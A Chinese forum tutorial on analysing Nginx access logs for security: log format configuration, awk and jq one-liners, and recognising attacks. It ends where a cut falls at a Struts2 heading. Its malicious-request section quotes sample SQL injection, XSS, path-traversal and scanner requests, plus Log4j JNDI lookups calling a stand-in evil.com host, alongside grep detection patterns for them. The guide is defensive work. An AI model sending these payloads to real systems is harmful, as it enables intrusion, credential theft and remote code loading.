找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5010

积分

0

好友

682

主题
发表于 3 小时前 | 查看: 3| 回复: 0

一、概述

1.1 背景介绍

凌晨 1 点 47 分,手机被告警短信吵醒。打开企微一看:"prod-web01 CPU 使用率 92%,连续 5 分钟"。SSH 上去,top 一看 Nginx worker 进程吃满了 CPU,ss -s 显示 ESTABLISHED 连接数 28000+。打开 access.log,刷屏速度快到根本看不清内容。

wc -l 粗略数了一下最近 5 分钟的日志——12 万行。正常情况下这台机器每分钟也就 200-300 个请求,现在每分钟 24000 个请求,涨了 80 倍。

赶紧抓一下高频 IP:

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5

输出结果让人血压飙升:

  8347 103.xx.xx.92
  6218 103.xx.xx.115
  5890 45.xx.xx.201
  4127 185.xx.xx.33
  3652 185.xx.xx.47

第一个 IP 5 分钟请求了 8347 次,平均每分钟 1669 次,每秒 27.8 个请求。而且这几个 IP 全是境外的,UA 全是 Mozilla/5.0——一看就是 CC 攻击。

当时的处理过程是:先用 iptables 把这 5 个 IP 段全部封掉,然后检查有没有漏网之鱼,再配上 limit_req 限流。从发现到止血总共花了 11 分钟,但如果我提前做好了日志分析和自动封禁机制,这 11 分钟的业务抖动完全可以避免。

这就是写这篇文章的初衷:Nginx 的 access.log 是安全运维的第一道防线。它记录了每一个请求的来源、目标、结果,攻击者的所有行为都会在日志里留下痕迹。但大多数运维人员平时不看日志,出事了才想起来翻——这时候已经晚了。

这篇文章从日志格式配置开始,讲到命令行分析技巧、恶意请求特征识别、自动封禁机制、实时监控方案,所有命令和脚本都在 Ubuntu 24.04 + Nginx 1.27.x 环境下实测通过,直接拿去用。如果你正被频繁的攻击扫描困扰,或者想搭建一套易用的 Nginx 防护体系,本文或许能让你少走不少弯路。

1.2 日志格式解析

Nginx 默认使用 combined 格式记录访问日志。先看一条真实的日志长什么样:

103.xx.xx.92 - - [13/Mar/2026:01:47:23 +0800] "GET /api/user/profile HTTP/1.1" 200 1532 "https://example.com/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

拆开来看,combined 格式由这些变量组成:

log_format combined '$remote_addr - $remote_user [$time_local] '
                    '"$request" $status $body_bytes_sent '
                    '"$http_referer" "$http_user_agent"';

每个字段的含义:

字段 变量名 示例值 含义
客户端 IP $remote_addr 103.xx.xx.92 发起请求的客户端 IP 地址。如果前面有 CDN 或负载均衡,拿到的是上一跳的 IP,不是真实客户端 IP
远程用户标识 - - RFC 1413 identd 协议的用户标识,现在基本没人用,永远是 -
认证用户名 $remote_user - HTTP Basic Auth 认证的用户名。没认证就是 -
时间戳 $time_local 13/Mar/2026:01:47:23 +0800 请求到达 Nginx 的本地时间,包含时区
请求行 $request GET /api/user/profile HTTP/1.1 包含请求方法、URI(含查询参数)、HTTP 版本
状态码 $status 200 HTTP 响应状态码
响应体大小 $body_bytes_sent 1532 发送给客户端的响应体字节数,不包含响应头
来源页面 $http_referer https://example.com/dashboard 上一个页面的 URL,直接访问时为 -
用户代理 $http_user_agent Mozilla/5.0 ... 客户端的 User-Agent 字符串

有个细节很多人忽略:$remote_addr 在有反向代理链的情况下拿到的不是真实 IP。如果你的架构是 用户 → CDN → SLB → Nginx ,那 $remote_addr 拿到的是 SLB 的 IP。要拿真实 IP,需要用 $http_x_forwarded_for 或者配置 set_real_ip_from,后面会详细讲。

1.3 适用场景

  • 安全审计:定期分析日志,识别扫描、注入、暴力破解等攻击行为
  • CC/DDoS 攻击识别:通过高频 IP 和请求模式识别应用层攻击
  • 入侵检测:发现路径遍历、敏感文件探测、漏洞利用尝试
  • 流量分析:了解业务流量分布,为容量规划提供数据支撑
  • 性能调优:通过慢请求分析定位后端性能瓶颈
  • 合规要求:等保 2.0 三级要求保留 180 天访问日志并具备审计能力

1.4 环境要求

组件 版本要求 说明
操作系统 Ubuntu 24.04 LTS 内核 6.8+,本文命令以 Ubuntu 为准
Nginx 1.27.3+ 2026 年 mainline 最新版
GoAccess 1.9.x 终端实时日志分析工具
fail2ban 1.1.x 自动封禁框架
nftables 1.0.9+ Ubuntu 24.04 默认防火墙后端
jq 1.7+ JSON 日志解析工具
GeoIP2 数据库 2026 年版 MaxMind GeoLite2 IP 地理位置库
磁盘 50GB+ 可用空间 日志存储,建议单独分区挂载到 /var/log

二、详细步骤

2.1 日志格式配置

2.1.1 默认 combined 格式的局限

combined 格式够用,但对运维分析来说信息太少。举几个实际场景:

  • 想知道某个请求处理了多久——没有 request_time 字段
  • 想知道后端响应耗时——没有 upstream_response_time 字段
  • 想知道真实客户端 IP(前面有 CDN 时)——没有 X-Forwarded-For
  • 想用程序自动解析日志——文本格式解析起来很麻烦,空格、引号、方括号混在一起

所以生产环境建议自定义日志格式,至少加上这几个关键字段。

2.1.2 增强型文本格式

nginx.confhttp 块中定义:

# 增强型访问日志格式
# 在 combined 基础上增加了请求处理时间、后端响应时间、真实 IP 等关键字段
log_format main_ext '$remote_addr - $remote_user [$time_local] '
                    '"$request" $status $body_bytes_sent '
                    '"$http_referer" "$http_user_agent" '
                    '$request_time $upstream_response_time '
                    '$http_x_forwarded_for '
                    '$connection $connection_requests';

# 在 server 块中使用
access_log /var/log/nginx/access.log main_ext;

新增字段说明:

字段 变量 说明
请求处理时间 $request_time 从收到客户端第一个字节到发送完最后一个字节的总时间(秒),精确到毫秒
后端响应时间 $upstream_response_time Nginx 向后端发请求到收到后端响应的时间。如果没有走 upstream 则为 -
真实客户端 IP $http_x_forwarded_for X-Forwarded-For 请求头,记录经过代理链的所有 IP
连接序号 $connection 当前连接的序列号
连接请求数 $connection_requests 当前连接上处理的请求数量(用于分析 keepalive 效果)

$request_time$upstream_response_time 的区别很关键:

  • $request_time = 客户端建连 + 发请求 + Nginx 转发到后端 + 后端处理 + Nginx 返回响应 + 客户端接收,是端到端的总时间
  • $upstream_response_time = Nginx 发请求到后端 + 后端处理 + 后端返回响应,只计算后端部分

如果 $request_time 很大但 $upstream_response_time 很小,说明瓶颈不在后端,可能是客户端网络差(慢连接)或者 Nginx 本身的问题。

2.1.3 JSON 格式日志

如果你要把日志接入 ELK 或 Loki,强烈建议用 JSON 格式。文本格式解析起来各种正则匹配、字段分割,稍微有个特殊字符就翻车。JSON 格式天然结构化,解析零成本。

# JSON 格式日志——适合日志收集系统接入
log_format json_log escape=json
    '{'
        '"timestamp":"$time_iso8601",'
        '"remote_addr":"$remote_addr",'
        '"remote_user":"$remote_user",'
        '"request_method":"$request_method",'
        '"request_uri":"$request_uri",'
        '"server_protocol":"$server_protocol",'
        '"status":$status,'
        '"body_bytes_sent":$body_bytes_sent,'
        '"http_referer":"$http_referer",'
        '"http_user_agent":"$http_user_agent",'
        '"http_x_forwarded_for":"$http_x_forwarded_for",'
        '"request_time":$request_time,'
        '"upstream_response_time":"$upstream_response_time",'
        '"upstream_addr":"$upstream_addr",'
        '"upstream_status":"$upstream_status",'
        '"request_length":$request_length,'
        '"connection":$connection,'
        '"connection_requests":$connection_requests,'
        '"server_name":"$server_name",'
        '"ssl_protocol":"$ssl_protocol",'
        '"ssl_cipher":"$ssl_cipher"'
    '}';

# 使用 JSON 格式
access_log /var/log/nginx/access.json.log json_log;

几个细节要注意:

  1. escape=json 是必须加的,它会对日志中的特殊字符做 JSON 转义。不加的话,如果 UA 或者 URI 里有双引号,整条 JSON 就废了
  2. 数值类型的字段($status$body_bytes_sent$request_time$request_length$connection$connection_requests)不加引号,直接输出数字
  3. $upstream_response_time$upstream_addr 加引号是因为它们可能是 -(没有 upstream 时),不加引号 JSON 会不合法

验证 JSON 格式是否正确:

# 取最后一行日志验证 JSON 合法性
tail -1 /var/log/nginx/access.json.log | jq .

# 批量验证最近 100 行
tail -100 /var/log/nginx/access.json.log | while read -r line; do
    echo "$line" | jq . > /dev/null 2>&1 || echo "JSON 格式错误: $line"
done

2.1.4 获取真实客户端 IP

如果你的 Nginx 前面有 CDN 或者负载均衡,$remote_addr 拿到的是上一跳的 IP,不是用户真实 IP。需要配置 real_ip 模块:

# 在 http 块或 server 块中配置
# 设置信任的代理 IP 段(以阿里云 CDN 为例)
set_real_ip_from 100.64.0.0/10;
set_real_ip_from 203.107.0.0/16;
set_real_ip_from 118.178.0.0/16;
# 如果是内网 SLB
set_real_ip_from 10.0.0.0/8;
set_real_ip_from 172.16.0.0/12;

# 从 X-Forwarded-For 头获取真实 IP
real_ip_header X-Forwarded-For;

# recursive 设为 on 表示递归排除所有信任代理 IP,取最后一个非信任 IP 作为真实 IP
real_ip_recursive on;

配置生效后 $remote_addr 的值就会被替换成真实客户端 IP,日志里记录的也就是真实 IP 了。

验证配置是否正确:

# 测试 Nginx 配置语法
sudo nginx -t

# 平滑重载配置
sudo nginx -s reload

# 观察日志中 IP 是否变化
tail -f /var/log/nginx/access.log

2.2 命令行分析技巧

不用装任何工具,awksortuniqgrep 这些 Linux 自带命令就能完成 90% 的日志分析工作。下面是我常用的 10+ 个单行命令,直接收藏。

2.2.1 awk 实用单行命令

以下命令基于 combined 格式,如果你用的是自定义格式,字段序号需要相应调整。

# 1. 统计总请求数
wc -l /var/log/nginx/access.log

# 2. 统计 IP 访问量 Top20
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 3. 统计最近 1 小时的请求量(按分钟维度)
awk -v date="$(date -d '1 hour ago' '+%d/%b/%Y:%H')" '$4 ~ date {print substr($4,14,5)}' /var/log/nginx/access.log | sort | uniq -c

# 4. 统计访问最多的 URL Top20
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 5. 统计各状态码的请求数量
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn

# 6. 统计 404 请求的 URL(找扫描器在探测什么)
awk '$9 == 404 {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30

# 7. 统计各 UA 的请求数量 Top20
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 8. 找出请求频率异常的 IP(每分钟超过 100 次的 IP)
awk '{print $1, substr($4,2,17)}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | awk '$1 > 100 {print}'

# 9. 统计每秒请求数(QPS 趋势)
awk '{print substr($4,2,20)}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 10. 统计各 HTTP 方法的请求数量
awk '{print $6}' /var/log/nginx/access.log | sed 's/"//g' | sort | uniq -c | sort -rn

# 11. 查看特定 IP 的所有请求(排查可疑 IP 在干什么)
awk '$1 == "103.xx.xx.92"' /var/log/nginx/access.log | tail -50

# 12. 查看特定时间段的日志(比如凌晨 1 点到 2 点)
awk '$4 >= "[13/Mar/2026:01:00" && $4 <= "[13/Mar/2026:02:00"' /var/log/nginx/access.log

# 13. 统计请求来源域名 Top20(分析流量从哪来)
awk -F'"' '{print $4}' /var/log/nginx/access.log | awk -F'/' '{print $3}' | sort | uniq -c | sort -rn | head -20

# 14. 统计带宽消耗 Top20 的 URL(哪些接口吃流量最多)
awk '{sum[$7] += $10} END {for (url in sum) print sum[url], url}' /var/log/nginx/access.log | sort -rn | head -20

这些命令看起来简单,但足够应对绝大多数分析场景了。关键是熟练到条件反射,出问题的时候能 10 秒钟之内打出来。

2.2.2 增强格式的 awk 命令

如果你用了前面的 main_ext 格式(包含 $request_time),可以用这些命令分析性能:

# 统计平均响应时间(main_ext 格式,request_time 在倒数第 4 个字段)
awk '{sum += $(NF-3); count++} END {print "平均响应时间:", sum/count, "秒"}' /var/log/nginx/access.log

# 找出响应时间超过 3 秒的慢请求
awk '$(NF-3) > 3 {print $(NF-3), $1, $7}' /var/log/nginx/access.log | sort -rn | head -20

# 按 URL 统计平均响应时间 Top20
awk '{url=$7; time=$(NF-3); sum[url]+=time; count[url]++} END {for(u in sum) print sum[u]/count[u], count[u], u}' /var/log/nginx/access.log | sort -rn | head -20

# 统计响应时间分布(0-1s, 1-3s, 3-5s, 5s+)
awk '{t=$(NF-3); if(t<1) a++; else if(t<3) b++; else if(t<5) c++; else d++} END {total=a+b+c+d; printf "0-1s: %d (%.1f%%)\n1-3s: %d (%.1f%%)\n3-5s: %d (%.1f%%)\n5s+: %d (%.1f%%)\n", a,a/total*100, b,b/total*100, c,c/total*100, d,d/total*100}' /var/log/nginx/access.log

2.2.3 JSON 格式日志分析

如果用了 JSON 格式,分析就方便多了,直接用 jq

# 统计 IP 访问量 Top10
cat /var/log/nginx/access.json.log | jq -r '.remote_addr' | sort | uniq -c | sort -rn | head -10

# 统计状态码分布
cat /var/log/nginx/access.json.log | jq -r '.status' | sort | uniq -c | sort -rn

# 找出响应时间超过 5 秒的请求
cat /var/log/nginx/access.json.log | jq -r 'select(.request_time > 5) | "\(.request_time)s \(.remote_addr) \(.request_method) \(.request_uri)"'

# 统计每个接口的平均响应时间
cat /var/log/nginx/access.json.log | jq -r '"\(.request_uri)\t\(.request_time)"' | awk -F'\t' '{sum[$1]+=$2; count[$1]++} END {for(u in sum) printf "%.3fs %d %s\n", sum[u]/count[u], count[u], u}' | sort -rn | head -20

# 查看某个 IP 的所有请求详情
cat /var/log/nginx/access.json.log | jq -r 'select(.remote_addr == "103.xx.xx.92") | "\(.timestamp) \(.request_method) \(.request_uri) \(.status) \(.http_user_agent)"'

jq 的好处是表达能力更强,各种条件组合过滤很灵活。但在处理大文件时,jq 的性能不如 awk——100 万行日志 awk 处理大概 2-3 秒,jq 要 15-20 秒。所以大文件还是优先用 awk

2.2.4 GoAccess 实时分析

命令行工具虽然灵活,但每次都要手打命令还是不够高效。GoAccess 是一个终端可视化日志分析工具,实时分析、实时展示,还能生成 HTML 报告。

# 安装 GoAccess
sudo apt install -y goaccess

# 终端实时分析(combined 格式)
goaccess /var/log/nginx/access.log --log-format=COMBINED

# 实时分析并生成 HTML 报告
goaccess /var/log/nginx/access.log --log-format=COMBINED -o /var/www/html/report.html --real-time-html

# 自定义格式分析(对应 main_ext 格式)
goaccess /var/log/nginx/access.log --log-format='%h - %^ [%d:%t %^] "%r" %s %b "%R" "%u" %T %^ %^ %^ %^' --date-format='%d/%b/%Y' --time-format='%H:%M:%S'

# 分析多个日志文件(包括压缩的历史日志)
zcat /var/log/nginx/access.log.*.gz | goaccess --log-format=COMBINED -

# 只分析今天的日志
goaccess /var/log/nginx/access.log --log-format=COMBINED --date-spec=hr --keep-last=24

GoAccess 的终端界面会展示 IP 排行、URL 排行、状态码分布、UA 统计、时间趋势等,一目了然。它的实时 HTML 报告还支持 WebSocket 推送,页面自动刷新——给领导看报表的时候特别好用。

2.3 高频 IP 统计与分析

2.3.1 Top20 IP 深度分析

简单的 uniq -c 统计只能看到请求总量,不够用。实际排查时你还需要知道这个 IP 的请求频率、主要访问目标、UA 信息:

# 统计 Top20 IP 并输出详细信息
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 | while read count ip; do
    # 获取该 IP 最常访问的 URL
    top_url=$(awk -v ip="$ip" '$1 == ip {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -1)
    # 获取该 IP 的 UA
    ua=$(awk -v ip="$ip" -F'"' '$0 ~ ip {print $6; exit}' /var/log/nginx/access.log)
    echo "[$count 次] $ip | 最多访问: $top_url | UA: $ua"
done

但这个方法在日志文件很大时会很慢,因为每个 IP 都要重新扫描一遍文件。更高效的做法是一次扫描收集所有信息:

# 一次扫描,统计每个 IP 的请求数、URL 分布、状态码分布
awk '{
    ip=$1; url=$7; status=$9;
    ip_count[ip]++;
    ip_url[ip][url]++;
    ip_status[ip][status]++;
} END {
    # 按请求数排序输出 Top20
    PROCINFO["sorted_in"] = "@val_num_desc";
    n = 0;
    for (ip in ip_count) {
        if (++n > 20) break;
        printf "=== %s: %d 次 ===\n", ip, ip_count[ip];

        # 输出该 IP 的 Top5 URL
        printf "  URL Top5: ";
        m = 0;
        for (url in ip_url[ip]) {
            if (++m > 5) break;
            printf "%s(%d) ", url, ip_url[ip][url];
        }
        printf "\n";

        # 输出状态码分布
        printf "  状态码: ";
        for (status in ip_status[ip]) {
            printf "%s(%d) ", status, ip_status[ip][status];
        }
        printf "\n\n";
    }
}' /var/log/nginx/access.log

这段 awk 用到了 GNU awk 的关联数组嵌套和 PROCINFO["sorted_in"]。如果你的系统用的是 mawk(某些精简版 Linux 的默认 awk),需要先装 gawk

sudo apt install -y gawk

2.3.2 请求频率分析

光看总量不够,还要看频率。一个 IP 一天请求 10000 次,分散在 24 小时可能是正常爬虫;集中在 5 分钟内就是攻击。

# 按 IP+分钟 统计频率,找出每分钟请求超过 60 次的 IP
awk '{
    ip = $1;
    # 提取时间戳中的日期+小时+分钟部分
    match($4, /\[([0-9]+\/[A-Za-z]+\/[0-9]+:[0-9]+:[0-9]+)/, arr);
    minute = arr[1];
    key = ip " " minute;
    count[key]++;
} END {
    for (k in count) {
        if (count[k] > 60) {
            printf "%d 次/分钟 | %s\n", count[k], k;
        }
    }
}' /var/log/nginx/access.log | sort -rn | head -30

输出示例:

1669 次/分钟 | 103.xx.xx.92 13/Mar/2026:01:47
1244 次/分钟 | 103.xx.xx.115 13/Mar/2026:01:47
1178 次/分钟 | 45.xx.xx.201 13/Mar/2026:01:48
826 次/分钟 | 185.xx.xx.33 13/Mar/2026:01:48

正常用户每分钟请求频率一般不超过 30-40 次(算上页面加载的各种静态资源),API 调用类的可能高一些但也不应该超过 120 次/分钟。超过这个数的基本都有问题。

2.3.3 IP 地理位置查询

知道 IP 来自哪个国家和地区,有助于判断是否为恶意流量。国内业务突然出现大量来自东欧、东南亚的 IP,基本就是攻击。

# 安装 GeoIP 工具
sudo apt install -y geoip-bin geoip-database

# 查询单个 IP 的地理位置
geoiplookup 103.xx.xx.92

# 批量查询 Top20 IP 的地理位置
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 | while read count ip; do
    location=$(geoiplookup "$ip" 2>/dev/null | head -1 | awk -F': ' '{print $2}')
    printf "%6d  %-16s  %s\n" "$count" "$ip" "$location"
done

输出示例:

  8347  103.xx.xx.92     CN, China
  6218  103.xx.xx.115    VN, Vietnam
  5890  45.xx.xx.201     RU, Russian Federation
  4127  185.xx.xx.33     UA, Ukraine
  3652  185.xx.xx.47     DE, Germany

如果要更精确的位置信息(到城市级别),需要用 MaxMind 的 GeoLite2 数据库:

# 安装 mmdb 查询工具
sudo apt install -y mmdb-bin

# 下载 GeoLite2 数据库(需要注册 MaxMind 账号获取 License Key)
# 下载后解压到 /usr/share/GeoIP/
sudo mkdir -p /usr/share/GeoIP
# 假设已下载 GeoLite2-City.mmdb
sudo cp GeoLite2-City.mmdb /usr/share/GeoIP/

# 查询 IP 的城市级位置
mmdblookup --file /usr/share/GeoIP/GeoLite2-City.mmdb --ip 103.xx.xx.92

2.4 恶意请求特征识别

这是这篇文章最核心的部分。攻击者的请求在日志里会留下明显的特征,学会识别这些特征就能在攻击发生的第一时间做出响应。

2.4.1 SQL 注入尝试

SQL 注入是 Web 安全排名第一的威胁(OWASP Top 10 常年占据前三)。攻击者会在 URL 参数、POST 数据、Cookie 等位置注入 SQL 语句。在日志里能看到的主要是 URL 参数中的注入:

# 经典 OR 注入——绕过登录认证
103.xx.xx.92 - - [13/Mar/2026:02:15:33 +0800] "GET /api/login?username=admin'%20OR%20'1'='1&password=anything HTTP/1.1" 403 162

# UNION SELECT 注入——读取数据库信息
45.xx.xx.201 - - [13/Mar/2026:02:15:34 +0800] "GET /api/product?id=1%20UNION%20SELECT%201,2,username,password%20FROM%20users-- HTTP/1.1" 500 0

# 数字型注入测试
185.xx.xx.33 - - [13/Mar/2026:02:15:35 +0800] "GET /api/product?id=1%20AND%201=1 HTTP/1.1" 200 1532
185.xx.xx.33 - - [13/Mar/2026:02:15:35 +0800] "GET /api/product?id=1%20AND%201=2 HTTP/1.1" 200 0

# 时间盲注——通过响应延迟判断注入是否成功
185.xx.xx.33 - - [13/Mar/2026:02:15:36 +0800] "GET /api/product?id=1%20AND%20SLEEP(5) HTTP/1.1" 200 1532

# 堆叠注入——执行多条 SQL 语句
45.xx.xx.201 - - [13/Mar/2026:02:15:37 +0800] "GET /api/product?id=1;DROP%20TABLE%20users;-- HTTP/1.1" 500 0

# 注释绕过 WAF
103.xx.xx.92 - - [13/Mar/2026:02:15:38 +0800] "GET /api/product?id=1%20/*!UNION*/SELECT%201,2,3-- HTTP/1.1" 200 0

# 十六进制编码绕过
103.xx.xx.92 - - [13/Mar/2026:02:15:39 +0800] "GET /api/product?id=0x31%20UNION%20SELECT%200x61646D696E HTTP/1.1" 200 0

提取日志中所有 SQL 注入尝试的命令:

# 检测常见 SQL 注入关键词(URL 解码后匹配)
grep -iE "(union.*select|or\+1=1|or\+'1'='1|and\+1=1|and\+sleep|benchmark\(|extractvalue|updatexml|load_file|into\+outfile|information_schema|drop\+table|insert\+into|delete\+from|%27|%22|--\+|%23)" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

# 更精确的检测——排除静态资源请求
awk '$7 !~ /\.(css|js|png|jpg|gif|ico|svg|woff|ttf)/ && $7 ~ /(union.*select|or.*=.*or|and.*=|sleep\(|benchmark\(|concat\(|char\(|0x[0-9a-f]+)/i {print $1, $7}' /var/log/nginx/access.log | head -50

2.4.2 XSS(跨站脚本)攻击

XSS 攻击是在页面中注入 JavaScript 代码。在日志里会看到类似的请求:

# 经典 script 标签注入
185.xx.xx.47 - - [13/Mar/2026:02:20:11 +0800] "GET /search?q=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1" 200 3842

# img 标签事件注入
185.xx.xx.47 - - [13/Mar/2026:02:20:12 +0800] "GET /search?q=%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1" 200 3842

# SVG 标签注入
185.xx.xx.47 - - [13/Mar/2026:02:20:13 +0800] "GET /profile?name=%3Csvg/onload=alert(document.cookie)%3E HTTP/1.1" 200 2048

# iframe 注入
103.xx.xx.92 - - [13/Mar/2026:02:20:14 +0800] "GET /comment?content=%3Ciframe%20src=http://evil.com/steal.js%3E HTTP/1.1" 200 1024

# JavaScript 协议注入
103.xx.xx.92 - - [13/Mar/2026:02:20:15 +0800] "GET /redirect?url=javascript:alert(document.cookie) HTTP/1.1" 302 0

# 编码绕过——双重 URL 编码
45.xx.xx.201 - - [13/Mar/2026:02:20:16 +0800] "GET /search?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1" 200 3842

检测命令:

# 检测 XSS 相关特征
grep -iE "(<script|%3cscript|javascript:|onerror=|onload=|onclick=|onmouseover=|<iframe|%3ciframe|<svg|%3csvg|alert\(|prompt\(|confirm\(|document\.cookie|document\.location)" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn

2.4.3 路径遍历攻击

攻击者试图通过 ../ 跳出 Web 目录,读取系统敏感文件:

# 读取 /etc/passwd
45.xx.xx.201 - - [13/Mar/2026:02:25:01 +0800] "GET /static/../../etc/passwd HTTP/1.1" 400 166

# 多层跳转读取文件
45.xx.xx.201 - - [13/Mar/2026:02:25:02 +0800] "GET /images/../../../../etc/shadow HTTP/1.1" 400 166

# URL 编码绕过
45.xx.xx.201 - - [13/Mar/2026:02:25:03 +0800] "GET /download?file=%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 403 162

# 双重编码绕过
45.xx.xx.201 - - [13/Mar/2026:02:25:04 +0800] "GET /download?file=%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1" 403 162

# Windows 路径遍历(有些服务可能跑在 Windows 上)
45.xx.xx.201 - - [13/Mar/2026:02:25:05 +0800] "GET /download?file=..\..\..\..\windows\win.ini HTTP/1.1" 400 166

# 读取 Nginx 配置文件
103.xx.xx.92 - - [13/Mar/2026:02:25:06 +0800] "GET /static/../../../etc/nginx/nginx.conf HTTP/1.1" 400 166

# 读取环境变量文件
103.xx.xx.92 - - [13/Mar/2026:02:25:07 +0800] "GET /app/../../proc/self/environ HTTP/1.1" 400 166

检测命令:

# 检测路径遍历尝试
grep -E '(\.\./|\.\.\\|%2e%2e|%252e%252e)' /var/log/nginx/access.log | awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn

2.4.4 扫描器和敏感文件探测

这是日志里最常见的恶意行为。各种自动化扫描器会遍历常见的敏感路径,试图找到未授权的后台入口、配置文件、源码泄露:

# 环境变量文件探测——泄露数据库密码、API Key
185.xx.xx.33 - - [13/Mar/2026:02:30:01 +0800] "GET /.env HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:01 +0800] "GET /.env.local HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:02 +0800] "GET /.env.production HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:02 +0800] "GET /.env.backup HTTP/1.1" 404 162

# WordPress 探测——互联网上海量 WordPress 站点,扫描器挨个试
185.xx.xx.33 - - [13/Mar/2026:02:30:03 +0800] "GET /wp-admin/ HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:03 +0800] "GET /wp-login.php HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:04 +0800] "GET /wp-content/plugins/ HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:04 +0800] "GET /xmlrpc.php HTTP/1.1" 404 162
185.xx.xx.33 - - [13/Mar/2026:02:30:05 +0800] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 404 162

# PHP 信息页面探测
185.xx.xx.47 - - [13/Mar/2026:02:30:06 +0800] "GET /phpinfo.php HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:06 +0800] "GET /info.php HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:07 +0800] "GET /php_info.php HTTP/1.1" 404 162

# Git 仓库泄露探测——如果 .git 目录被暴露,整个源码都能被还原
185.xx.xx.47 - - [13/Mar/2026:02:30:08 +0800] "GET /.git/config HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:08 +0800] "GET /.git/HEAD HTTP/1.1" 404 162
185.xx.xx.47 - - [13/Mar/2026:02:30:09 +0800] "GET /.gitignore HTTP/1.1" 404 162

# 数据库管理工具探测
103.xx.xx.115 - - [13/Mar/2026:02:30:10 +0800] "GET /phpmyadmin/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:10 +0800] "GET /adminer.php HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:11 +0800] "GET /pma/ HTTP/1.1" 404 162

# 后台管理入口探测
103.xx.xx.115 - - [13/Mar/2026:02:30:12 +0800] "GET /admin/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:12 +0800] "GET /administrator/ HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:13 +0800] "GET /manager/html HTTP/1.1" 404 162
103.xx.xx.115 - - [13/Mar/2026:02:30:13 +0800] "GET /console/ HTTP/1.1" 404 162

# 备份文件探测——开发或运维随手放在 Web 目录下的备份
103.xx.xx.92 - - [13/Mar/2026:02:30:14 +0800] "GET /backup.sql HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:14 +0800] "GET /db.sql.gz HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:15 +0800] "GET /site.tar.gz HTTP/1.1" 404 162
103.xx.xx.92 - - [13/Mar/2026:02:30:15 +0800] "GET /www.zip HTTP/1.1" 404 162

# API 文档泄露探测
45.xx.xx.201 - - [13/Mar/2026:02:30:16 +0800] "GET /swagger-ui.html HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:16 +0800] "GET /api-docs HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:17 +0800] "GET /v2/api-docs HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:17 +0800] "GET /actuator HTTP/1.1" 404 162
45.xx.xx.201 - - [13/Mar/2026:02:30:18 +0800] "GET /actuator/env HTTP/1.1" 404 162

这些请求有一个共同特点:短时间内大量 404。正常用户不可能知道这些路径,只有扫描器才会挨个试。

一键检测扫描行为的命令:

# 检测常见敏感文件探测
grep -iE '(\.env|wp-admin|wp-login|phpinfo|\.git/|phpmyadmin|adminer|/admin/|/manager/|/console/|backup\.sql|\.sql\.gz|swagger|actuator|xmlrpc\.php)' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

2.4.5 漏洞利用尝试

这类请求是最危险的——攻击者在尝试利用已知漏洞获取服务器控制权。

# Log4j 漏洞利用(CVE-2021-44228)——虽然是 2021 年的漏洞,但到现在还有大量扫描
185.xx.xx.33 - - [13/Mar/2026:02:35:01 +0800] "GET / HTTP/1.1" 200 1234 "-" "${jndi:ldap://evil.com/exploit}"
185.xx.xx.33 - - [13/Mar/2026:02:35:01 +0800] "GET /?x=${jndi:ldap://evil.com:1389/Basic/Command/Base64/xxx} HTTP/1.1" 200 1234
185.xx.xx.33 - - [13/Mar/2026:02:35:02 +0800] "GET / HTTP/1.1" 200 1234 "-" "${${lower:j}ndi:${lower:l}dap://evil.com/x}"

# Spring4Shell 漏洞利用(CVE-2022-22965)
45.xx.xx.201 - - [13/Mar/2026:02:35:03 +0800] "POST / HTTP/1.1" 200 0 "-" "Mozilla/5.0" "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di"
45.xx.xx.201 - - [13/Mar/2026:02:35:04 +0800] "GET /tomcatwar.jsp HTTP/1.1" 404 162

# Apache Struts2 远程代码执行
